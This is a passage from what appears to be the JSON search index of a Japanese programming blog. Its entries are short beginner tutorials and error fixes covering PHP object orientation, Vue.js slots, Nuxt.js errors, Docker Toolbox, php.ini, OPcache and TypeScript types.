\u0026#39;抽象クラスのメソッドです。\u0026#39;; } abstract public function getName(); } // 具象クラス class Human extends humanAbstract { private $name = []; public function __construct($name) { $this-\u0026gt;name = $name; } public function getName() // 抽象クラスでabstract設定したため必ず必要なメソッド { echo $this-\u0026gt;name; } } インターフェースについて インターフェースと抽象クラスの違いは、すべて強制するメソッドしか描けないこと。\n定義する場合は、先頭にinterfaceとして、使用する場合はimplementsを使う。\n抽象クラスの場合、1つの抽象クラスしか継承できないが、インターフェースは複数適用することが可能。\n\u0026lt;?php // インターフェース interface humanInterface { public function getName(); } // インターフェース interface foodInterface { public function getFood(); } // 具象クラス class Human implements humanInterface,foodInterface { private $name = []; public function __construct($name) { $this-\u0026gt;name = $name; } public function getName() // 抽象クラスでabstract設定したため必ず必要なメソッド { echo $this-\u0026gt;name; } public function getFood() { echo \u0026#39;食べ物です\u0026#39;; } } $instance = new Human(\u0026#39;山田くん\u0026#39;); $instance-\u0026gt;getName(); // 山田くん $instance-\u0026gt;getFood(); // 食べ物です トレイトについて 先頭にtraitとつけてclassと同じように定義していく。\n使いたいclassの中にuseを使うことでtraitの内容を反映することができる。\ntraitも複数呼び出すことが可能で、上書き（オーバーライド）もできる。\n\u0026lt;?php trait HumanTrait { public function getName(){ echo \u0026#39;名前です\u0026#39;; } } trait FoodTrait { public function getFood(){ echo \u0026#39;食べ物です\u0026#39;; } } class Human{ use HumanTrait; use FoodTrait; public function echoFunction() { echo \u0026#39;Humanクラスです\u0026#39;; } } $instance = new Human(); $instance-\u0026gt;echoFunction(); // Humanクラスです $instance-\u0026gt;getName(); // 名前です $instance-\u0026gt;getFood(); // 食べ物です 以上、クラス、抽象クラス、インターフェース、トレイトの説明終わり。\n","permalink":"https://pop-web.github.io/programming/php/php-object-orientation/","summary":"\u003cp\u003eまず、オブジェクト指向とはなにかについて説明。\u003c/p\u003e\n\u003cp\u003eオブジェクト指向は、ざっくりいうと役割をクラスごとに分けてそれを組み合わせながらプログラミングを行っていくこと。\u003c/p\u003e","title":"【初心者向け解説】PHPのクラス、抽象クラス、インターフェース、トレイトについて"},{"content":"Windows10 Pro（64bit）以外のWindows（Windows10 Homeなど）でDockerを使う場合Docker Toolboxを使うこととなる。\nしかし、他のDockerとは違いコンテナ起動後にでhttp://localhostへアクセスしてもアクセスはできない。\nとりあえず、アクセスする方法としてdocker-machine ipコマンドを使って仮想マシンを動かしているVirtualBoxのIPアドレスを調べて、そのIPアドレスでする。\n$ docker-machine ip 192.168.99.100 なぜこうなるかというと、docker-compose.ymlで設定したポートフォワーディング（8888:80）は、『Windows（8888） → Docker（80）』ではなく、『VirtualBox（8888） → Docker（80）』となるから。\nlocalhostでアクセスするには、『Windows（8888）→VirtualBox（8888） → Docker（80） 』という感じで設定する必要がある。\nlocalhostでアクセスできるようにポートフォワーディングの設定 localhostでアクセスするようにVirtualBoxのポートフォワーディングの設定を行う。\nVirtualBoxの「設定」を開き、「ネットワーク→高度→ポートフォワーディング」を進む。\nポートフォワーディング ルールでプラスボタンをクリックし「ホストIP」を「127.0.0.1」、「ホストポート」を「8888」、「ゲストポート」を「8888」としてルールを追加する。\nこれでlocalhostで起動したコンテナにアクセスることができる。\nキャッシュが残って反映されない場合があるので、その場合は、キャッシュを一旦消す。\n","permalink":"https://pop-web.github.io/server/windows%E3%81%AEdocker-toolbox%E3%81%A7localhost%E3%81%A7%E3%83%96%E3%83%A9%E3%82%A6%E3%82%B6%E7%A2%BA%E8%AA%8D%E3%81%A7%E3%81%8D%E3%82%8B%E3%82%88%E3%81%86%E3%81%AB%E3%81%99%E3%82%8B%E6%96%B9/","summary":"\u003cp\u003eWindows10 Pro（64bit）以外のWindows（Windows10 Homeなど）でDockerを使う場合Docker Toolboxを使うこととなる。\u003c/p\u003e","title":"WindowsのDocker Toolboxでlocalhostでブラウザ確認できるようにする方法"},{"content":"簿記を学習する上で電卓を使いこなせるようなったほうがいい。\nとは言っても、四則演算（+、-、×、÷）なら誰もできると思う。\n電卓のキーの中で使ったことのないキーがいくつからあると思うが、M+、M-、RM/CM（MRC）とったキーはメモリーキーと呼ばれるもので、使い方を覚えるととても便利なキーである。\nこれらのキーの使い方を簡単に説明していく。\nちなみに、M+は「メモリープラス」、M-は「メモリーマイナス」、RM/CMは「リコールメモリー/クリアーメモリー」、MRCは「メモリーリコール＆メモリークリア」の略。\nメモリーキーの使い方 例えば、\n100×5+200×4-40×2\nの計算をしたい場合、右から順に計算していくと思った通りの計算はできない。\n当たり前かもしれないが、計算の順番は掛け算をしてから足し算を行うから。\nつまり、以下のような感じで計算したい。\n(100×5)+(200×4)-(40×2)\n一つずつ掛け算の結果をメモして最後にそれを足して引いてみたいなことは非効率すぎるのはわかると思う。\nここでメモリーキーを活用する。\n以下のようにキーを打っていけば計算が可能になる。\n100×5 【M+】 200×4 【M+】 40×2 【M-】 【RM/CM】or【MRC】 【M+】でメモリーに足す、【M-】でメモリーから引く、そして【RM/CM】or【MRC】で足したり引いたりした合計を出す、という感じ。\nメモリーをクリアする場合は、再度【RM/CM】or【MRC】を押せば良い。\n","permalink":"https://pop-web.github.io/tax/m-m-rm-cm/","summary":"\u003cp\u003e簿記を学習する上で電卓を使いこなせるようなったほうがいい。\u003c/p\u003e\n\u003cp\u003eとは言っても、四則演算（+、-、×、÷）なら誰もできると思う。\u003c/p\u003e\n\u003cp\u003e電卓のキーの中で使ったことのないキーがいくつからあると思うが、\u003cstrong\u003eM+、M-、RM/CM（MRC）\u003cstrong\u003eとったキーは\u003c/strong\u003eメモリーキー\u003c/strong\u003eと呼ばれるもので、使い方を覚えるととても便利なキーである。\u003c/p\u003e","title":"電卓でM+、M-、RM/CMの使い方"},{"content":"エラー内容 Nuxt.jsで開発中、以下のコンソールエラーが出て画面が表示されなくなった。\nTypeError: Cannot set property \u0026#39;render\u0026#39; of undefined 原因と対処法 ","permalink":"https://pop-web.github.io/programming/vue-js/nuxt-js-typeerror-cannot-set-property-render-of-undefined/","summary":"\u003ch2 id=\"エラー内容\"\u003eエラー内容\u003c/h2\u003e\n\u003cp\u003eNuxt.jsで開発中、以下のコンソールエラーが出て画面が表示されなくなった。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003eTypeError: Cannot set property \u0026#39;render\u0026#39; of undefined\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"原因と対処法\"\u003e原因と対処法\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003e\u003cscript\u003eタグの閉じタグがなかったり、空の\u003cscript\u003eタグが存在\u003c/strong\u003eしているとエラーとなるため、ちゃんと閉じタグをしてあげるか、空タグを削除してあげるとよい。\u003c/p\u003e","title":"Nuxt.jsで「TypeError: Cannot set property 'render' of undefined」のコソールエラー対処法"},{"content":"コマンドからVS Codeを開くにはcodeコマンドを使えば良い。\nカレントディレクトリをVS Codeで開きたい場合\n$ code . ファイルやフォルダを開きたい場合\n$ code somefolder/some.js codeコマンドが見つからない場合は、VS Codeのコマンドパレットを開く（⌘ + Shift + P）\nshellで検索し、「Shell Command: install \u0026lsquo;code\u0026rsquo; command in PATH」を選択すればcodeコマンドが使えるようになる\n","permalink":"https://pop-web.github.io/programming/%E3%82%BF%E3%83%BC%E3%83%9F%E3%83%8A%E3%83%AB%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89%E3%81%A7vs-code%E3%82%92%E9%96%8B%E3%81%8F%E6%96%B9%E6%B3%95/","summary":"\u003cp\u003eコマンドからVS Codeを開くには\u003ccode\u003ecode\u003c/code\u003eコマンドを使えば良い。\u003c/p\u003e\n\u003cp\u003eカレントディレクトリをVS Codeで開きたい場合\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ code .\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eファイルやフォルダを開きたい場合\u003c/p\u003e","title":"ターミナルコマンドでVS Codeを開く方法"},{"content":"Windowsのhostsファイルを編集したのに、反映がされない時の簡単な対処法は、\nシークレット ウィンド（プライベートブラウジング）で確認する ブラウザのキャッシュ削除 ちなみに、hostsファイルの場所はC:\\WINDOWS\\system32\\drivers\\etcで、メモ帳を「管理者として実行」で起動して開く必要がある。そうでないと、保存ができない。\n","permalink":"https://pop-web.github.io/network/windows-hosts/","summary":"\u003cp\u003eWindowsのhostsファイルを編集したのに、反映がされない時の簡単な対処法は、\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eシークレット ウィンド（プライベートブラウジング）で確認する\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eブラウザのキャッシュ削除\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eちなみに、hostsファイルの場所は\u003ccode\u003eC:\\WINDOWS\\system32\\drivers\\etc\u003c/code\u003eで、メモ帳を「管理者として実行」で起動して開く必要がある。そうでないと、保存ができない。\u003c/p\u003e","title":"Windowsでhostsファイルの反映が上手くいかないときの方法"},{"content":"Nuxt + Firebaseで開発をしていて、Firebaseのテストモジュール入れ、開発サーバを起動したらcore.js関連のエラーがずらっと出た。\nERROR Failed to compile with 77 errors friendly-errors 15:28:27 These dependencies were not found: friendly-errors 15:28:27 friendly-errors 15:28:27 * core-js/modules/es.array.concat in ./.nuxt/client.js friendly-errors 15:28:27 * core-js/modules/es.array.every in ./.nuxt/router.scrollBehavior.js friendly-errors 15:28:27 * core-js/modules/es.array.filter in ./.nuxt/client.js, ./.nuxt/components/nuxt-link.client.js and 2 others * core-js/modules/es.array.find in ./.nuxt/client.js friendly-errors 15:28:27 * core-js/modules/es.array.for-each in ./.nuxt/client.js, ./.nuxt/components/nuxt-link.client.js and 2 others * core-js/modules/es.array.from in ./.nuxt/client.js, ./.nuxt/components/nuxt-link.client.js * core-js/modules/es.array.includes in ./.nuxt/client.js, ./.nuxt/components/nuxt-link.client.js * core-js/modules/es.array.index-of in ./.nuxt/utils.js, ./node_modules/babel-loader/lib??ref--2-0!./node_modules/vue-loader/lib??vue-loader-options!./pages/index.vue?vue\u0026amp;type=script\u0026amp;lang=js\u0026amp; * core-js/modules/es.array.iterator in ./.nuxt/client.js friendly-errors 15:28:27 * core-js/modules/es.array.join in ./.nuxt/utils.js friendly-errors 15:28:27 * core-js/modules/es.array.map in ./.nuxt/client.js, ./.nuxt/components/nuxt-link.client.js * core-js/modules/es.array.reduce in ./.nuxt/utils.js, ./node_modules/babel-loader/lib??ref--2-0!./node_modules/vue-loader/lib??vue-loader-options!./.nuxt/components/nuxt-build-indicator.vue?vue\u0026amp;type=script\u0026amp;lang=js\u0026amp; * core-js/modules/es.array.slice in ./.nuxt/client.js, ./.nuxt/components/nuxt-link.client.js * core-js/modules/es.array.some in ./.nuxt/client.js friendly-errors 15:28:27 * core-js/modules/es.function.name in ./.nuxt/client.js, ./.nuxt/components/nuxt-link.client.js * core-js/modules/es.object.assign in ./.nuxt/client.js friendly-errors 15:28:27 * core-js/modules/es.object.get-own-property-descriptor in ./.nuxt/index.js, ./node_modules/babel-loader/lib??ref--2-0!./node_modules/vue-loader/lib??vue-loader-options!./pages/index.vue?vue\u0026amp;type=script\u0026amp;lang=js\u0026amp; and 1 other * core-js/modules/es.object.get-own-property-descriptors in ./.nuxt/index.js, ./node_modules/babel-loader/lib??ref--2-0!./node_modules/vue-loader/lib??vue-loader-options!./pages/index.vue?vue\u0026amp;type=script\u0026amp;lang=js\u0026amp; and 1 other * core-js/modules/es.object.keys in ./.nuxt/client.js, ./node_modules/babel-loader/lib??ref--2-0!./node_modules/vue-loader/lib??vue-loader-options!./pages/index.vue?vue\u0026amp;type=script\u0026amp;lang=js\u0026amp; and 1 other * core-js/modules/es.object.to-string in ./.nuxt/client.js, ./.nuxt/components/nuxt-link.client.js and 2 others * core-js/modules/es.promise in ./.nuxt/client.js friendly-errors 15:28:27 * core-js/modules/es.promise.finally in ./.nuxt/client.js friendly-errors 15:28:27 * core-js/modules/es.regexp.constructor in ./.nuxt/utils.js friendly-errors 15:28:27 * core-js/modules/es.regexp.exec in ./.nuxt/client.js, ./node_modules/babel-loader/lib??ref--2-0!./node_modules/vue-loader/lib??vue-loader-options!./.nuxt/components/nuxt-build-indicator.vue?vue\u0026amp;type=script\u0026amp;lang=js\u0026amp; * core-js/modules/es.regexp.to-string in ./.nuxt/client.js, ./.nuxt/components/nuxt-link.client.js * core-js/modules/es.string.ends-with in ./.nuxt/utils.js friendly-errors 15:28:27 * core-js/modules/es.string.includes in ./.nuxt/client.js, ./.nuxt/components/nuxt-link.client.js * core-js/modules/es.string.iterator in ./.nuxt/client.js, ./.nuxt/components/nuxt-link.client.js * core-js/modules/es.string.match in ./.nuxt/client.js friendly-errors 15:28:27 * core-js/modules/es.string.repeat in ./.nuxt/utils.js friendly-errors 15:28:27 * core-js/modules/es.string.replace in ./.nuxt/client.js, ./.nuxt/components/nuxt.js * core-js/modules/es.string.search in ./.nuxt/utils.js friendly-errors 15:28:27 * core-js/modules/es.string.split in ./.nuxt/utils.js, ./node_modules/babel-loader/lib??ref--2-0!./node_modules/vue-loader/lib??vue-loader-options!./.nuxt/components/nuxt-build-indicator.vue?vue\u0026amp;type=script\u0026amp;lang=js\u0026amp; * core-js/modules/es.string.starts-with in ./.nuxt/utils.js friendly-errors 15:28:27 * core-js/modules/es.string.trim in ./node_modules/babel-loader/lib??ref--2-0!./node_modules/vue-loader/lib??vue-loader-options!./pages/index.vue?vue\u0026amp;type=script\u0026amp;lang=js\u0026amp; * core-js/modules/es.symbol in ./.nuxt/client.js, ./.nuxt/components/nuxt-link.client.js and 2 others * core-js/modules/es.symbol.description in ./.nuxt/client.js, ./.nuxt/components/nuxt-link.client.js * core-js/modules/es.symbol.iterator in ./.nuxt/client.js, ./.nuxt/components/nuxt-link.client.js * core-js/modules/web.dom-collections.for-each in ./.nuxt/client.js, ./.nuxt/components/nuxt-link.client.js and 2 others * core-js/modules/web.dom-collections.iterator in ./.nuxt/client.js, ./.nuxt/components/nuxt-link.client.js 原因 NuxtとFirebase使われるcore.jsのバージョンが異なるため。\nNuxt側のcore.jsのバージョンを2から3へダウングレードすればいいらしい。\n解決方法 しかし、package.jsonを見てみるとすでにバージョン2となっていた。\n一応、以下コマンドでバージョン2を再度インストールしてみる。\n$ npm install core-js@2.6.11 これでうまくいった。。。\npackage.jsonをみるとキャレットが付与しただけになっているが、これでエラーが出ないようになった。\n","permalink":"https://pop-web.github.io/programming/vue-js/nuxt-firebase-core-js/","summary":"\u003cp\u003eNuxt + Firebaseで開発をしていて、Firebaseのテストモジュール入れ、開発サーバを起動したらcore.js関連のエラーがずらっと出た。\u003c/p\u003e","title":"【Nuxt + Firebase】core.js関連のエラーの原因と解決法"},{"content":"Vue.jsのスロットの使い方をざっくり説明する。\n開発にはVue CLIを使っている前提で話を進めていく。\nスロットコンテンツ スロットコンテンツでは、親コンポーネントから子コンポーネントへコンテンツを丸ごと渡しあげることができる。\nまず、以下の親コンポーネントを用意する。\n子コンポーネントであるtextLinkを読み込むように用意しておく。\n子コンポーネントへの渡し方は簡単で、コンポーネントの間に何か要素を入れることで渡すことができる。\n今回は「ここはリンクです!」とうただの文字列。\nApp.vue \u0026lt;template\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;textLink url=\u0026#34;/#\u0026#34;\u0026gt; ここはリンクです! \u0026lt;/textLink\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import textLink from \u0026#34;./components/textLink\u0026#34;; export default { components: { textLink, }, }; \u0026lt;/script\u0026gt; 次に、子コンポーネントのtextLinkを作成する。\n機能的にはテキストリンクを配置するだけのもの。\n子コンポーネントには受け渡し口として\u0026lt;slot /\u0026gt;を配置する。\ntextLink.vue \u0026lt;template\u0026gt; \u0026lt;a :href=\u0026#34;url\u0026#34; class=\u0026#34;nav-link\u0026#34;\u0026gt; \u0026lt;slot /\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; export default { props: [\u0026#34;url\u0026#34;], }; \u0026lt;/script\u0026gt; これで、\u0026lt;slot /\u0026gt;の部分が「ここはリンクです!」に置換される。\nブラウザで確認すると以下のようにテキストリンクになっていることがわかる。\nフォールバックコンテンツ 親コンポーネント側から何か要素を送るときに、その要素が何もない場合に表示させるコンテンツを決めることができる。\nそれがフォールバックコンテンツ。\nどうするかというと、子コンポーネント側の\u0026lt;slot\u0026gt;タグの中身に何か要素を入れてあげるだけで良い。\ntextLink.vue \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;a :href=\u0026#34;url\u0026#34; class=\u0026#34;nav-link\u0026#34;\u0026gt; \u0026lt;slot\u0026gt;デフォルトのリンクだよ！\u0026lt;/slot\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; export default { props: [\u0026#34;url\u0026#34;], }; \u0026lt;/script\u0026gt; 名前付きスロット 名前付きスロットはその名の通り名前をつけて区別するスロットのこと。\nつまり、区別できるので複数のスロットを使うことができる。\nまずは、親コンポーネントを編集する。\n以下のよう。\nApp.vue \u0026lt;template\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;textLink url=\u0026#34;/#\u0026#34;\u0026gt; \u0026lt;template v-slot:link\u0026gt; // ※templateタグでv-slot:\u0026lt;スロット名\u0026gt;とする。 ここはリンクです! \u0026lt;/template\u0026gt; \u0026lt;template v-slot:string\u0026gt; // ※templateタグでv-slot:\u0026lt;スロット名\u0026gt;とする。 ただの文字列です！ \u0026lt;/template\u0026gt; \u0026lt;/textLink\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import textLink from \u0026#34;./components/textLink\u0026#34;; export default { components: { textLink, }, }; \u0026lt;/script\u0026gt; 以上のように、親コンポーネントではtemplateタグごとにv-slotで名前をつけて設定する。\nちなみに、v-slot:は#として省略記号で置き換えることができる\n次に子コンポーネント。\ntextLink.vue \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;a :href=\u0026#34;url\u0026#34; class=\u0026#34;nav-link\u0026#34;\u0026gt; \u0026lt;slot name=\u0026#34;link\u0026#34; /\u0026gt;　// 親コンポーネントで付けた名前でname=\u0026lt;スロット名\u0026gt;とする \u0026lt;/a\u0026gt; \u0026lt;hr /\u0026gt; \u0026lt;p\u0026gt; \u0026lt;slot name=\u0026#34;string\u0026#34; /\u0026gt;　// 親コンポーネントで付けた名前でname=\u0026lt;スロット名\u0026gt;とする \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; export default { props: [\u0026#34;url\u0026#34;], }; \u0026lt;/script\u0026gt; タグにさっき親コンポーネントで設定した名前をnameプロパティとして設定する。\nブラウザで確認してみる。\nこれで複数のスロットを区別して設定することができた。\n名前付きでないデフォルトのスロットについて 先ほどの子コンポーネントのコードに名前付きでないslotタグを設置してみる。\ntextLink.vue \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;a :href=\u0026#34;url\u0026#34; class=\u0026#34;nav-link\u0026#34;\u0026gt; \u0026lt;slot name=\u0026#34;link\u0026#34; /\u0026gt; \u0026lt;/a\u0026gt; \u0026lt;hr /\u0026gt; \u0026lt;slot /\u0026gt; // 追加 \u0026lt;hr /\u0026gt; \u0026lt;p\u0026gt; \u0026lt;slot name=\u0026#34;string\u0026#34; /\u0026gt; \u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 親コンポーネントに\u0026lt;h1\u0026gt;と、\u0026lt;footer\u0026gt;タグを追加。\nApp.vue \u0026lt;template\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;textLink url=\u0026#34;/#\u0026#34;\u0026gt; \u0026lt;h1\u0026gt;タイトルです\u0026lt;/h1\u0026gt; // 追加 \u0026lt;template v-slot:link\u0026gt; ここはリンクです! \u0026lt;/template\u0026gt; \u0026lt;template v-slot:string\u0026gt; ただの文字列です！ \u0026lt;/template\u0026gt; \u0026lt;footer\u0026gt;フッターです。\u0026lt;/footer\u0026gt; // 追加 \u0026lt;/textLink\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; これはどうなるかというと、\u0026lt;h1\u0026gt;と\u0026lt;footer\u0026gt;は合体でして子コンポーネントの名前なしslotに置換される。\nブラウザで確認する。\nまた、親コンポーネントでv-slotがつかない要素は一旦、v-slot:defaultという名前でtemplateタグに集約されて子コンポーネントに置換されるという動作をする。\nなので、さっきの親コンポーネントのコードを以下のようにv-slot:defaultで書いても同じ結果が得られる。\nApp.vue \u0026lt;template\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;textLink url=\u0026#34;/#\u0026#34;\u0026gt; \u0026lt;template v-slot:default\u0026gt; // v-slot:defaultとすることもできる \u0026lt;h1\u0026gt;タイトルです\u0026lt;/h1\u0026gt; \u0026lt;footer\u0026gt;フッターです。\u0026lt;/footer\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;template v-slot:link\u0026gt; ここはリンクです! \u0026lt;/template\u0026gt; \u0026lt;template v-slot:string\u0026gt; ただの文字列です！ \u0026lt;/template\u0026gt; \u0026lt;/textLink\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; スロットプロパティで子から親へ 子コンポーネントのデータを親コンポーネントで使いたい時は、スロットプロパティを使用する。\nまず、子コンポーネントの\u0026lt;slot\u0026gt;を以下ように編集する。\ntextLink.vue \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;a :href=\u0026#34;url\u0026#34; class=\u0026#34;nav-link\u0026#34;\u0026gt; \u0026lt;slot name=\u0026#34;link\u0026#34; title=\u0026#34;タイトルリンクです！\u0026#34; /\u0026gt; // title=\u0026#34;タイトルリンクです！\u0026#34; を追加した \u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; export default { props: [\u0026#34;url\u0026#34;], }; \u0026lt;/script\u0026gt; 追加した「title=\u0026ldquo;タイトルリンクです！\u0026quot;」を親側で表示させるための、以下のように親コンポーネントを編集する。\nApp.vue \u0026lt;template\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;textLink url=\u0026#34;/#\u0026#34;\u0026gt; \u0026lt;template v-slot:link=\u0026#34;slotProps\u0026#34;\u0026gt;　// =\u0026#34;slotProps\u0026#34; を追加 \u0026lt;h2\u0026gt;{{ slotProps.title }}\u0026lt;/h2\u0026gt; // slotPropsの中身を表示 ここはリンクです! \u0026lt;/template\u0026gt; \u0026lt;/textLink\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import textLink from \u0026#34;./components/textLink\u0026#34;; export default { components: { textLink, }, }; \u0026lt;/script\u0026gt; 受け取る変数のslotPropsは、なんでも好きな名前を付けれる。\nこれをブラウザで確認する以下のような感じになる。\nまた、名前付きスロットを使わずに、デフォルトスロットしかない場合は以下のようにも書ける。\nApp.vue \u0026lt;template\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;textLink url=\u0026#34;/#\u0026#34; v-slot:default=\u0026#34;slotProps\u0026#34;\u0026gt; // templateタグを削除してコンポネートタグにv-slotが書ける \u0026lt;h2\u0026gt;{{ slotProps.title }}\u0026lt;/h2\u0026gt; ここはリンクです! \u0026lt;/textLink\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; textLink.vue \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;a :href=\u0026#34;url\u0026#34; class=\u0026#34;nav-link\u0026#34;\u0026gt; \u0026lt;slot title=\u0026#34;タイトルリンクです！\u0026#34; /\u0026gt; // name=\u0026#34;link\u0026#34;を消去 \u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; さらに、v-slot:defaultの:defaultもなくして省略ができる。\n\u0026lt;template\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;textLink url=\u0026#34;/#\u0026#34; v-slot=\u0026#34;slotProps\u0026#34;\u0026gt; \u0026lt;h2\u0026gt;{{ slotProps.title }}\u0026lt;/h2\u0026gt; ここはリンクです! \u0026lt;/textLink\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 以上、スロットの説明終わり。\n","permalink":"https://pop-web.github.io/programming/vue-js/v-slot/","summary":"\u003cp\u003eVue.jsのスロットの使い方をざっくり説明する。\u003c/p\u003e\n\u003cp\u003e開発には\u003ca href=\"https://blog.pop-web.net/programming/vue-js/vue-cli-install/\"\u003eVue CLI\u003c/a\u003eを使っている前提で話を進めていく。\u003c/p\u003e\n\u003ch2 id=\"スロットコンテンツ\"\u003eスロットコンテンツ\u003c/h2\u003e\n\u003cp\u003eスロットコンテンツでは、親コンポーネントから子コンポーネントへコンテンツを丸ごと渡しあげることができる。\u003c/p\u003e","title":"【初心者向け】Vue.jsのスロットの使い方"},{"content":"mountedやupdatedを使用してもでは子コンポーネントを全てをマウントしたことは保証しないため、子コンポーネントへアクセスがうまくいかない時がある。\nそこ解決するために、$nextTickを使用してDOMの更新サイクル後に処理実行させるようにする。\nthis.$nextTick(function () { // DOMの更新サイクル後に実行する処理 }) ","permalink":"https://pop-web.github.io/programming/vue-js/nexttick/","summary":"\u003cp\u003emountedやupdatedを使用してもでは子コンポーネントを全てを\u003cstrong\u003eマウントしたことは保証しない\u003c/strong\u003eため、子コンポーネントへアクセスがうまくいかない時がある。\u003c/p\u003e","title":"$nextTickでタイミングを遅延させて子コンポーネントにアクセスする"},{"content":"さくらのVPSにPHP7.4をインストールして使用しているが、PHPを実行するたびに以下のようなエラーを吐いていた。\nphp -v PHP: syntax error, unexpected BOOL_FALSE in /etc/php.ini on line 1008 実際にphp.iniファイルの1008行目のぞいてみると、コメントアウトされている箇所で、エラーが出るような設定はなかった。\n106 ; error_reporting 107 ; Default Value: E_ALL \u0026amp; ~E_NOTICE \u0026amp; ~E_STRICT \u0026amp; ~E_DEPRECATED 108 ; Development Value: E_ALL 109 ; Production Value: E_ALL \u0026amp; ~E_DEPRECATED \u0026amp; ~E_STRICT 調べてみると、エラーで示されている行番号でエラーが出ているわけではなかった。\nそれより以前の行でシンタックスエラーでているらしい。\n今回の場合、923行目のタイムゾーンのダブルクォートが抜けている箇所がエラーだった。\n920 [Date] 921 ; Defines the default timezone used by the date functions 922 ; http://php.net/date.timezone 923 date.timezone = Asia/Tokyo\u0026#34; ダブルクォートを付け加えて修正保存。\n923 date.timezone = \u0026#34;Asia/Tokyo\u0026#34; 最後に修正を有効にするため、再起動させておく。\nsystemctl restart php-fpm systemctl restart nginx ","permalink":"https://pop-web.github.io/programming/php/php-syntax-error-unexpected-bool-false-in-etc-php-ini/","summary":"\u003cp\u003eさくらのVPSにPHP7.4をインストールして使用しているが、PHPを実行するたびに以下のようなエラーを吐いていた。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ephp -v\nPHP:  syntax error, unexpected BOOL_FALSE in /etc/php.ini on line 1008\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e実際にphp.iniファイルの1008行目のぞいてみると、コメントアウトされている箇所で、エラーが出るような設定はなかった。\u003c/p\u003e","title":"【エラー解決】PHP:  syntax error, unexpected BOOL_FALSE in /etc/php.ini"},{"content":"当サイトは、さくらのVPS上にWordPressをのせて構築していているが、体感的に表示速度が遅かった。\nWordPress高速化するのため、PHPのキャッシュ機能パッケージであるOPcacheとAPCuをインストールする。\n因みに、サーバの設定とかせずにVPSやクラウド上のWordPressサイトを高速化したい場合は、「KUSANAGI」というCMS高速化に特化した実行環境がある。\nインストール前後のPage Speed Insightsスコア比較 OPcacheとAPCuをインストールする前と後のPage Speed Insightsスコア。\nOPcacheとAPCuインストール前 OPcacheとAPCuインストール後 スコアが劇的にアップしたわけではないが、体感的にもインストール後の方が表示速度は早くなったと感じられた。\nOPcacheとAPCuをインストール OPcacheとAPCuをインストールしていく。\n環境は、さくらのVPS、CentOS 7、Nginx 1.17、PHP7.4。\n以下のコマンドでインストール。\nyum -y install --enablerepo=remi,remi-php74 php-opcache php-pecl-apcu インストールが完了したらphp -vで確認。\nphp -v PHP 7.4.7 (cli) (built: Jun 9 2020 10:57:17) ( NTS ) Copyright (c) The PHP Group Zend Engine v3.4.0, Copyright (c) Zend Technologies with Zend OPcache v7.4.7, Copyright (c), by Zend Technologies 上記のように、with Zend OPcache v7.4.7となっていればOK。\nphp-fpmとnginxの再起動して有効化 php-fpmとnginxを再起動するため、以下のコマンドを入力。\nsystemctl restart php-fpm systemctl restart nginx ","permalink":"https://pop-web.github.io/programming/wordpress/wordpress-nginx-opcache-apcu/","summary":"\u003cp\u003e当サイトは、さくらのVPS上にWordPressをのせて構築していているが、体感的に表示速度が遅かった。\u003c/p\u003e\n\u003cp\u003eWordPress高速化するのため、PHPのキャッシュ機能パッケージであるOPcacheとAPCuをインストールする。\u003c/p\u003e","title":"WordPress高速化、Nginx環境にOPcacheとAPCuをインストール"},{"content":"TypeScriptの方の書き方をまとめていく。\nboolean型 const value: boolean; number型 const num: number; string型 const greet: string; オブジェクト型 const cat: { name: string; age: number; } = { name: \u0026#34;tama\u0026#34;, age: 2, }; 配列型 const colors: string[] = [\u0026#34;red\u0026#34;, \u0026#34;blue\u0026#34;]; 配列にstring型やnumber型が混在する場合はanyなどが使える。\nconst colors: any[] = [\u0026#34;red\u0026#34;, 